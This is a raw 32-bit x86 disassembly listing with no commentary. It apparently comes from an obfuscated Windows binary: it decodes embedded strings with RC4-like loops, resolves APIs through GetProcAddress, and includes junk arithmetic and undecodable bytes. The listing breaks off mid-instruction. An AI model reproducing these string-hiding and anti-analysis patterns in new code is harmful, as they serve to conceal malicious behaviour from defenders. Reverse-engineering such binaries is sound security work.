lea edx, [ebp - 0x2dcc]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x32ec], cl
mov cl, byte [ebp - 0x33fb]
mov byte [ebp - 0x3342], cl
mov dl, byte [ebp - 0x32ec]
mov byte [ebp - 0x3493], dl
cmp dword [ebp - 0x346c], 0
jbe 0x48ca8b
mov eax, dword [ebp - 0x346c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x3124]
mov dl, byte [ebp - 0x3493]
mov byte [eax + ecx], dl
jmp 0x48c7b9
mov eax, dword [ebp - 0x3a8c]
add eax, 1
mov dword [ebp - 0x3a8c], eax
mov ecx, dword [ebp - 0x3a8c]
add ecx, 0xa
mov dword [ebp - 0x3a8c], ecx
mov edx, dword [ebp - 0x346c]
add edx, 1
mov dword [ebp - 0x4ae8], edx
jmp 0x48cace
mov eax, dword [ebp - 0x4ae8]
add eax, 1
mov dword [ebp - 0x4ae8], eax
mov ecx, dword [ebp - 0x4ae8]
cmp ecx, dword [ebp - 0x3a8c]
jge 0x48ceb2
mov edx, dword [ebp - 0x346c]
add edx, 1
mov dword [ebp - 0x346c], edx
mov eax, dword [ebp - 0x346c]
shl eax, 1
mov dword [ebp - 0x4438], eax
mov ecx, dword [ebp - 0x4438]
shl ecx, 0
add ecx, dword [ebp - 0x466c]
movzx edx, byte [ecx]
mov dword [ebp - 0x4300], edx
mov dword [ebp - 0x4304], 0x1e
mov eax, dword [ebp - 0x346c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4444], eax
mov ecx, dword [ebp - 0x4444]
shl ecx, 0
add ecx, dword [ebp - 0x466c]
movzx edx, byte [ecx]
mov dword [ebp - 0x4308], edx
mov dword [ebp - 0x430c], 0x83
mov eax, dword [ebp - 0x4300]
sub eax, dword [ebp - 0x4304]
mov dword [ebp - 0x4310], eax
mov ecx, dword [ebp - 0x4308]
sub ecx, dword [ebp - 0x430c]
mov dword [ebp - 0x4318], ecx
mov edx, dword [ebp - 0x4310]
shl edx, 4
mov dword [ebp - 0x4420], edx
mov eax, dword [ebp - 0x4318]
mov dword [ebp - 0x444c], eax
mov ecx, dword [ebp - 0x4420]
or ecx, dword [ebp - 0x444c]
mov dword [ebp - 0x4450], ecx
mov dl, byte [ebp - 0x4450]
mov byte [ebp - 0x33fb], dl
movzx eax, byte [ebp - 0x3342]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x33f0], dl
movzx eax, byte [ebp - 0x32b9]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32eb]
add eax, edx
mov byte [ebp - 0x32eb], al
mov cl, byte [ebp - 0x32b9]
add cl, 1
mov byte [ebp - 0x32b9], cl
movzx edx, byte [ebp - 0x32eb]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ebp - 0x3342]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movss xmm0, dword [0x9d5794]
movss dword [ebp - 0x3e30], xmm0
movss xmm0, dword [0x9d5574]
movss dword [ebp - 0x4668], xmm0
movss xmm0, dword [0x9d5274]
movss dword [ebp - 0x5848], xmm0
movss xmm0, dword [ebp - 0x4668]
subss xmm0, dword [ebp - 0x5848]
movss dword [ebp - 0x4668], xmm0
movss xmm0, dword [ebp - 0x3e30]
addss xmm0, dword [ebp - 0x5848]
movss dword [ebp - 0x3e30], xmm0
movss xmm0, dword [ebp - 0x4668]
addss xmm0, dword [ebp - 0x5848]
movss dword [ebp - 0x4668], xmm0
movss xmm0, dword [ebp - 0x3e30]
comiss xmm0, dword [ebp - 0x5848]
jbe 0x48cd19
movss xmm0, dword [ebp - 0x3e30]
addss xmm0, dword [ebp - 0x4668]
movss dword [ebp - 0x3e30], xmm0
movzx eax, byte [ebp - 0x32ec]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [ebp - 0x32eb]
shl edx, 0
lea esi, [ebp - 0x2dcc]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movss xmm0, dword [ebp - 0x3e30]
addss xmm0, dword [ebp - 0x4668]
movss dword [ebp - 0x3e30], xmm0
movss xmm0, dword [ebp - 0x3e30]
addss xmm0, dword [ebp - 0x4668]
movss dword [ebp - 0x3e30], xmm0
jmp 0x48cd61
movss xmm0, dword [ebp - 0x3e30]
mulss xmm0, dword [ebp - 0x4668]
movss dword [ebp - 0x3e30], xmm0
movss xmm0, dword [ebp - 0x3e30]
subss xmm0, dword [ebp - 0x4668]
movss dword [ebp - 0x3e30], xmm0
movss xmm0, dword [ebp - 0x3e30]
mulss xmm0, dword [ebp - 0x4668]
movss dword [ebp - 0x3e30], xmm0
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ebp - 0x32ec]
shl eax, 0
lea esi, [ebp - 0x2dcc]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov cl, byte [ebp - 0x33f0]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x33f0]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x33ee]
add edx, ecx
mov byte [ebp - 0x33ee], dl
movzx eax, byte [ebp - 0x33fb]
movzx ecx, byte [ebp - 0x32eb]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea esi, [ebp - 0x2dcc]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32ec]
shl edx, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3342]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x33ee]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32ec], al
mov al, byte [ebp - 0x33fb]
mov byte [ebp - 0x3342], al
mov cl, byte [ebp - 0x32ec]
mov byte [ebp - 0x3493], cl
cmp dword [ebp - 0x346c], 0
jbe 0x48cead
mov edx, dword [ebp - 0x346c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3124]
mov cl, byte [ebp - 0x3493]
mov byte [edx + eax], cl
jmp 0x48cabf
mov edx, dword [ebp - 0x3a8c]
add edx, 1
mov dword [ebp - 0x3a8c], edx
mov eax, dword [ebp - 0x346c]
add eax, 1
mov dword [ebp - 0x346c], eax
mov ecx, dword [ebp - 0x3a8c]
add ecx, 1
mov dword [ebp - 0x3a8c], ecx
mov edx, dword [ebp - 0x346c]
shl edx, 1
mov dword [ebp - 0x4438], edx
mov eax, dword [ebp - 0x4438]
shl eax, 0
add eax, dword [ebp - 0x466c]
movzx ecx, byte [eax]
mov dword [ebp - 0x4300], ecx
mov dword [ebp - 0x4304], 0x1e
mov edx, dword [ebp - 0x346c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4444], edx
mov eax, dword [ebp - 0x4444]
shl eax, 0
add eax, dword [ebp - 0x466c]
movzx ecx, byte [eax]
mov dword [ebp - 0x4308], ecx
mov dword [ebp - 0x430c], 0x83
mov edx, dword [ebp - 0x4300]
sub edx, dword [ebp - 0x4304]
mov dword [ebp - 0x4310], edx
mov eax, dword [ebp - 0x4308]
sub eax, dword [ebp - 0x430c]
mov dword [ebp - 0x4318], eax
mov ecx, dword [ebp - 0x4310]
shl ecx, 4
mov dword [ebp - 0x4420], ecx
mov edx, dword [ebp - 0x4318]
mov dword [ebp - 0x444c], edx
mov eax, dword [ebp - 0x4420]
or eax, dword [ebp - 0x444c]
mov dword [ebp - 0x4450], eax
mov cl, byte [ebp - 0x4450]
mov byte [ebp - 0x33fb], cl
movzx edx, byte [ebp - 0x3342]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov cl, byte [edx + eax]
mov byte [ebp - 0x33f0], cl
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32eb]
add edx, ecx
mov byte [ebp - 0x32eb], dl
mov al, byte [ebp - 0x32b9]
add al, 1
mov byte [ebp - 0x32b9], al
movzx ecx, byte [ebp - 0x32eb]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ebp - 0x3342]
shl eax, 0
lea esi, [ebp - 0x2dcc]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32ec]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ebp - 0x32eb]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32b9]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [ebp - 0x32ec]
shl edx, 0
lea esi, [ebp - 0x2dcc]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov al, byte [ebp - 0x33f0]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x33f0]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x33ee]
add ecx, eax
mov byte [ebp - 0x33ee], cl
movzx edx, byte [ebp - 0x33fb]
movzx eax, byte [ebp - 0x32eb]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x32ec]
shl ecx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3342]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x33ee]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x32ec], dl
mov dl, byte [ebp - 0x33fb]
mov byte [ebp - 0x3342], dl
mov al, byte [ebp - 0x32ec]
mov byte [ebp - 0x3493], al
cmp dword [ebp - 0x346c], 0
jbe 0x48d180
mov ecx, dword [ebp - 0x346c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3124]
mov al, byte [ebp - 0x3493]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 0x16
mov dword [ebp - 0x5db0], edx
cmp dword [ebp - 0x5db0], 0x17
jae 0x48d199
jmp 0x48d19e
call fcn.009b1617
lea eax, [ebp - 0x3124]
add eax, dword [ebp - 0x5db0]
mov byte [eax], 0
jmp 0x48d200
mov dword [ebp - 0x346c], 0
jmp 0x48d1ca
mov ecx, dword [ebp - 0x346c]
add ecx, 1
mov dword [ebp - 0x346c], ecx
cmp dword [ebp - 0x346c], 0x17
jae 0x48d200
mov edx, dword [ebp - 0x346c]
mov dword [ebp - 0x5dac], edx
cmp dword [ebp - 0x5dac], 0x17
jae 0x48d1ea
jmp 0x48d1ef
call fcn.009b1617
lea eax, [ebp - 0x3124]
add eax, dword [ebp - 0x5dac]
mov byte [eax], 0
jmp 0x48d1bb
lea ecx, [ebp - 0x3124]
push ecx
mov edx, dword [ebp - 0x348c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bb8], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53a4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5134], xmm0
mov dword [ebp - 0x3440], 0
mov dword [ebp - 0x4ae4], 0
mov dword [ebp - 0x584c], 0
mov dword [ebp - 0x560c], 1
mov dword [ebp - 0x4670], 0
mov dword [ebp - 0x5b50], 0
mov dword [ebp - 0x38ec], 0
mov dword [ebp - 0x406c], 0
mov dword [ebp - 0x3f48], 0
mov dword [ebp - 0x3f4c], 0
mov dword [ebp - 0x4070], 0
mov dword [ebp - 0x3f50], 0
mov dword [ebp - 0x3f54], 0
mov dword [ebp - 0x3f58], 0
mov dword [ebp - 0x3f5c], 0
mov dword [ebp - 0x4074], 0
mov dword [ebp - 0x4078], 0
mov dword [ebp - 0x407c], 0
mov dword [ebp - 0x4ae0], 0
mov byte [ebp - 0x327a], 0
mov byte [ebp - 0x32ba], 0
mov byte [ebp - 0x3398], 0
mov byte [ebp - 0x32bb], 0
mov byte [ebp - 0x330d], 0
mov byte [ebp - 0x3411], 0
mov byte [ebp - 0x3da4], 0
mov byte [ebp - 0x3397], 0
mov byte [ebp - 0x3399], 0
mov byte [ebp - 0x347d], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5134], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5134], xmm0
jmp 0x48d36e
movsd xmm0, qword [ebp - 0x5134]
addsd xmm0, qword [0x9d05a8]
movsd qword [ebp - 0x5134], xmm0
movsd xmm0, qword [0x9d4fa8]
comisd xmm0, xmmword [ebp - 0x5134]
jbe 0x48d41f
movsd xmm0, qword [0x9d3e78]
mulsd xmm0, qword [ebp - 0x5134]
mulsd xmm0, qword [ebp - 0x5134]
movsd xmm1, qword [ebp - 0x5134]
mulsd xmm1, qword [ebp - 0x5134]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a58]
mulsd xmm1, qword [ebp - 0x5134]
mulsd xmm1, qword [ebp - 0x5134]
addsd xmm1, qword [0x9d3b98]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53a4]
movsd qword [ebp - 0x53a4], xmm0
adc dword [ebp - 0x53a4], eax
movsd xmm0, qword [ebp - 0x53a4]
adc byte [ebp - 0x53a4], al
comisd xmm0, xmmword [0x9d3c08]
das
add eax, 0x9d3c08
cmp al, 0x9d
add byte [esi + 0x24], dh
jbe 0x48d41a
movsd xmm0, qword [0x9d37f0]
mulsd xmm0, qword [ebp - 0x5134]
movsd xmm1, qword [ebp - 0x53a4]
subsd xmm1, xmm0
movsd qword [ebp - 0x53a4], xmm1
jmp 0x48d356
invalid
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53a4]
jbe 0x48d45b
mov dword [0xaa79ab7d], eax
jge 0x48d3de
and byte [ecx + edi*2 + 0x7ea97aab], 0xa3
jge 0x48d3e6
jns 0x48d3e4
jg 0x48d3ee
jp 0x48d3f1
js 0x48d476
push edx
xor byte es:[esi + 0x25], cl
inc ebp
inc ebp
push esp
jns 0x48d4a5
jo 0x48d480
inc ecx
jle 0x48d491
jb 0x48d4a7
jmp 0x48efb9
mov dword [ebp - 0x6194], 0x48d42c
mov dword [ebp - 0x6190], 0x48d444
mov eax, dword [ebp - 0x6194]
mov dword [ebp - 0x4320], eax
mov ecx, dword [ebp - 0x6190]
mov dword [ebp - 0x618c], ecx
mov byte [ebp - 0x3da4], 0x16
test eax, esp
mov esp, 0x8d8bffff
jo 0x48d41d
invalid
dec dword [ecx - 0x618b73]
inc esi
test dword [edx + eax*8 - 1], ebx
call dword [esi]
mov dword [ebp - 0x3440], 0
mov dword [ebp - 0x4ae4], 0
mov dword [ebp - 0x3440], 0
jmp 0x48d4bd
retf
retf
inc dword [eax]
add byte [eax], al
add bl, ch
jnp 0x149548
mov edx, dword [ebp - 0x3440]
add edx, 1
mov dword [ebp - 0x3440], edx
inc dword [ebx - 0x6a76fe3e]
ror bl, 0xff
inc dword [ecx - 0x343f43]
inc dword [eax]
add dword [eax], eax
add byte [ebx + 0x1a], dh
cmp dword [ebp - 0x3440], 0x100
jae 0x48d4e3
mov eax, dword [ebp - 0x3440]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov dl, byte [ebp - 0x3440]
mov byte [eax + ecx], dl
jmp 0x48d4ae
mov dword [ebp - 0x4ae4], 0
mov byte [ebp - 0x3411], 0
mov dword [ebp - 0x3440], 0xff
jmp 0x48d50f
mov eax, dword [ebp - 0x3440]
sub eax, 1
mov dword [ebp - 0x3440], eax
cmp dword [ebp - 0x3440], 0
jbe 0x48d7d5
mov dword [ebp - 0x584c], 0
mov dword [ebp - 0x560c], 1
mov dword [ebp - 0x4670], 0
mov ecx, dword [ebp - 0x560c]
cmp ecx, dword [ebp - 0x3440]
jae 0x48d55b
mov edx, dword [ebp - 0x560c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x560c], edx
jmp 0x48d53a
mov eax, dword [ebp - 0x4ae4]
mov dword [ebp - 0x5da8], eax
cmp dword [ebp - 0x5da8], 3
ja case.default.0x48d57a
mov ecx, dword [ebp - 0x5da8]
jmp dword [ecx*4 + 0x4de86c]
movzx edx, byte [ebp - 0x3411]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53a4]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3411], bl
jmp 0x48d681
movzx ecx, byte [ebp - 0x3411]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53a4]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3411], bl
jmp 0x48d681
movzx eax, byte [ebp - 0x3411]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53a4]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3411], bl
jmp 0x48d681
movzx edx, byte [ebp - 0x3411]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53a4]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3411], bl
jmp 0x48d681
movzx ecx, byte [ebp - 0x3411]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4ae4]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x618c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3411], al
mov eax, dword [ebp - 0x4ae4]
add eax, 1
mov dword [ebp - 0x4ae4], eax
movzx ecx, byte [ebp - 0x3da4]
cmp dword [ebp - 0x4ae4], ecx
jb 0x48d6bf
mov dword [ebp - 0x4ae4], 0
movzx edx, byte [ebp - 0x3da4]
movzx eax, byte [ebp - 0x3411]
add eax, edx
mov byte [ebp - 0x3411], al
movzx ecx, byte [ebp - 0x3411]
and ecx, dword [ebp - 0x560c]
mov dword [ebp - 0x4670], ecx
mov edx, dword [ebp - 0x584c]
add edx, 1
mov dword [ebp - 0x584c], edx
cmp dword [ebp - 0x584c], 0xb
jbe 0x48d6fe
mov eax, dword [ebp - 0x4670]
xor edx, edx
div dword [ebp - 0x3440]
mov dword [ebp - 0x4670], edx
mov eax, dword [ebp - 0x4670]
cmp eax, dword [ebp - 0x3440]
ja 0x48d55b
mov ecx, dword [ebp - 0x3440]
cmp ecx, dword [ebp - 0x4670]
je 0x48d7d0
mov edx, dword [ebp - 0x3440]
shl edx, 0
lea eax, [ebp - 0x2260]
mov ecx, dword [ebp - 0x4670]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3440]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x4670]
shl edx, 0
lea eax, [ebp - 0x2260]
mov ecx, dword [ebp - 0x3440]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x4670]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x3440]
shl edx, 0
lea eax, [ebp - 0x2260]
mov ecx, dword [ebp - 0x4670]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3440]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov byte [eax + ecx], dl
jmp 0x48d500
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x2260]
mov cl, byte [edx + eax]
mov byte [ebp - 0x327a], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x2260]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32ba], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x2260]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3398], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x2260]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32bb], cl
movzx edx, byte [ebp - 0x3411]
shl edx, 0
lea eax, [ebp - 0x2260]
mov cl, byte [edx + eax]
mov byte [ebp - 0x330d], cl
mov dword [ebp - 0x5b50], 0x18
cmp dword [ebp - 0x5b50], 2
jle 0x48ef68
mov edx, dword [ebp - 0x5b50]
and edx, 1
jne 0x48ef68
mov dword [ebp - 0x3440], 0
mov dword [ebp - 0x38ec], 0
mov eax, dword [ebp - 0x38ec]
add eax, 1
mov dword [ebp - 0x38ec], eax
mov dword [ebp - 0x406c], 0
mov ecx, dword [ebp - 0x3440]
shl ecx, 1
mov dword [ebp - 0x406c], ecx
mov dword [ebp - 0x3f48], 0
mov edx, dword [ebp - 0x406c]
shl edx, 0
add edx, dword [ebp - 0x4320]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3f48]
mov dword [ebp - 0x3f48], eax
mov dword [ebp - 0x3f4c], 0
mov ecx, dword [ebp - 0x3f4c]
add ecx, 0xa2
mov dword [ebp - 0x3f4c], ecx
mov dword [ebp - 0x4070], 0
mov edx, dword [ebp - 0x3440]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4070], edx
mov dword [ebp - 0x3f50], 0
mov eax, dword [ebp - 0x4070]
shl eax, 0
add eax, dword [ebp - 0x4320]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3f50]
mov dword [ebp - 0x3f50], ecx
mov dword [ebp - 0x3f54], 0
mov edx, dword [ebp - 0x3f54]
add edx, 0x77
mov dword [ebp - 0x3f54], edx
mov dword [ebp - 0x3f58], 0
mov eax, dword [ebp - 0x3f48]
sub eax, dword [ebp - 0x3f4c]
add eax, dword [ebp - 0x3f58]
mov dword [ebp - 0x3f58], eax
mov dword [ebp - 0x3f5c], 0
mov ecx, dword [ebp - 0x3f50]
sub ecx, dword [ebp - 0x3f54]
add ecx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x3f5c], ecx
mov dword [ebp - 0x4074], 0
mov edx, dword [ebp - 0x3f58]
shl edx, 4
mov dword [ebp - 0x4074], edx
mov dword [ebp - 0x4078], 0
mov eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x4078], eax
mov dword [ebp - 0x407c], 0
mov ecx, dword [ebp - 0x4074]
or ecx, dword [ebp - 0x4078]
mov dword [ebp - 0x407c], ecx
mov byte [ebp - 0x3397], 0
mov dl, byte [ebp - 0x407c]
mov byte [ebp - 0x3397], dl
mov byte [ebp - 0x3399], 0
movzx eax, byte [ebp - 0x330d]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3399], dl
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32ba]
add eax, edx
mov byte [ebp - 0x32ba], al
mov cl, byte [ebp - 0x327a]
add cl, 1
mov byte [ebp - 0x327a], cl
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea esi, [ebp - 0x2260]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea esi, [ebp - 0x2260]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea esi, [ebp - 0x2260]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea eax, [ebp - 0x2260]
mov cl, byte [ebp - 0x3399]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3399]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3398]
add edx, ecx
mov byte [ebp - 0x3398], dl
movzx eax, byte [ebp - 0x3397]
movzx ecx, byte [ebp - 0x32ba]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32bb]
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3398]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32bb], al
mov al, byte [ebp - 0x3397]
mov byte [ebp - 0x330d], al
mov cl, byte [ebp - 0x32bb]
mov byte [ebp - 0x347d], cl
cmp dword [ebp - 0x3440], 0
jbe 0x48dbd7
mov edx, dword [ebp - 0x3440]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x900]
mov cl, byte [ebp - 0x347d]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x38ec]
add edx, 4
mov dword [ebp - 0x38ec], edx
mov eax, dword [ebp - 0x3440]
add eax, 1
mov dword [ebp - 0x4ae0], eax
jmp 0x48dc06
mov ecx, dword [ebp - 0x4ae0]
add ecx, 1
mov dword [ebp - 0x4ae0], ecx
mov edx, dword [ebp - 0x4ae0]
cmp edx, dword [ebp - 0x38ec]
jge 0x48e09c
mov eax, dword [ebp - 0x3440]
add eax, 1
mov dword [ebp - 0x3440], eax
mov ecx, dword [ebp - 0x3440]
shl ecx, 1
mov dword [ebp - 0x406c], ecx
mov edx, dword [ebp - 0x406c]
shl edx, 0
add edx, dword [ebp - 0x4320]
movzx eax, byte [edx]
mov dword [ebp - 0x3f48], eax
mov dword [ebp - 0x3f4c], 0xa2
mov ecx, dword [ebp - 0x3440]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x4070], ecx
mov edx, dword [ebp - 0x4070]
shl edx, 0
add edx, dword [ebp - 0x4320]
movzx eax, byte [edx]
mov dword [ebp - 0x3f50], eax
mov dword [ebp - 0x3f54], 0x77
mov ecx, dword [ebp - 0x3f48]
sub ecx, dword [ebp - 0x3f4c]
mov dword [ebp - 0x3f58], ecx
mov edx, dword [ebp - 0x3f50]
sub edx, dword [ebp - 0x3f54]
mov dword [ebp - 0x3f5c], edx
mov eax, dword [ebp - 0x3f58]
shl eax, 4
mov dword [ebp - 0x4074], eax
mov ecx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x4078], ecx
movss xmm0, dword [0x9d5804]
movss dword [ebp - 0x4674], xmm0
movss xmm0, dword [0x9d5748]
movss dword [ebp - 0x431c], xmm0
movss xmm0, dword [0x9d5598]
movss dword [ebp - 0x4d70], xmm0
movss xmm0, dword [0x9d537c]
movss dword [ebp - 0x4d74], xmm0
movss xmm0, dword [0x9d5158]
movss dword [ebp - 0x4454], xmm0
movss xmm0, dword [ebp - 0x4674]
mulss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x4674], xmm0
movss xmm0, dword [ebp - 0x4d70]
subss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x4d70], xmm0
movss xmm0, dword [ebp - 0x431c]
mulss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x431c], xmm0
movss xmm0, dword [ebp - 0x4d74]
